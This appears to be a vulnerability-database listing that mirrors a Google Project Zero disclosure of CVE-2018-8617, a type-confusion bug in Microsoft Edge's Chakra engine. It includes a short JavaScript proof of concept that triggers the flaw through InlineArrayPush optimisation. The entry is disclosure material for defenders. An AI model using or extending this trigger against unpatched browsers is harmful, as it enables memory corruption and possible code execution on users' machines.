Lucene search
+L

Microsoft Edge Chakra InlineArrayPush Type Confusion

🗓️ 17 Jan 2019 00:00:00Reported by Google Security ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 66 Views

Microsoft Edge Chakra Type Confusion with InlineArrayPus

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Microsoft Edge Chakra - InlineArrayPush Type Confusion Exploit
20 Jan 201900:00
–zdt
attackerkb
attackerkb
CVE-2018-8617
12 Dec 201800:29
–attackerkb
attackerkb
attackerkb
CVE-2018-8618
12 Dec 201800:29
–attackerkb
attackerkb
attackerkb
CVE-2018-8624
12 Dec 201800:29
–attackerkb
attackerkb
attackerkb
CVE-2018-8629
12 Dec 201800:29
–attackerkb
attackerkb
attackerkb
CVE-2018-8583
12 Dec 201800:29
–attackerkb
bdu_fstec
BDU FSTEC
ChakraCore Microsoft Edge Code Execution
28 Dec 201800:00
–bdu_fstec
circl
Circl
CVE-2018-8617
18 Jan 201900:00
–circl
cnvd
CNVD
Microsoft Edge Chakra Scripting Engine Memory Corruption Vulnerability (CNVD-2019-07384)
12 Dec 201800:00
–cnvd
checkpoint_advisories
Check Point Advisories
Microsoft Edge Chakra Scripting Engine Memory Corruption (CVE-2018-8617)
11 Dec 201800:00
–checkpoint_advisories
Rows per page
`Microsoft Edge: Chakra: Type confusion with InlineArrayPush   
  
CVE-2018-8617  
  
  
In Chakra, if you add a numeric property to an object having inlined properties, it will start transition to a new type where the space for some of previously inlined properties become for the pointer to the property slots and the pointer to the object array which stores numeric properties. For this reason, when it optimizes an InlineArrayPush instruction which might start transition, it needs to kill corresponding type symbols to prevent type confusion. But it doesn't, so it can lead to type confusion.  
  
PoC:  
function opt(a, b) {  
a.b = 2;  
b.push(0);  
a.a = 0x1234;  
}  
  
function main() {  
Object.prototype.push = Array.prototype.push;  
  
for (let i = 0; i < 1000; i++) {  
let a = {a: 1, b: 2};  
opt(a, {});  
}  
  
let o = {a: 1, b: 2};  
opt(o, o);  
  
print(o.a);  
}  
  
main();  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation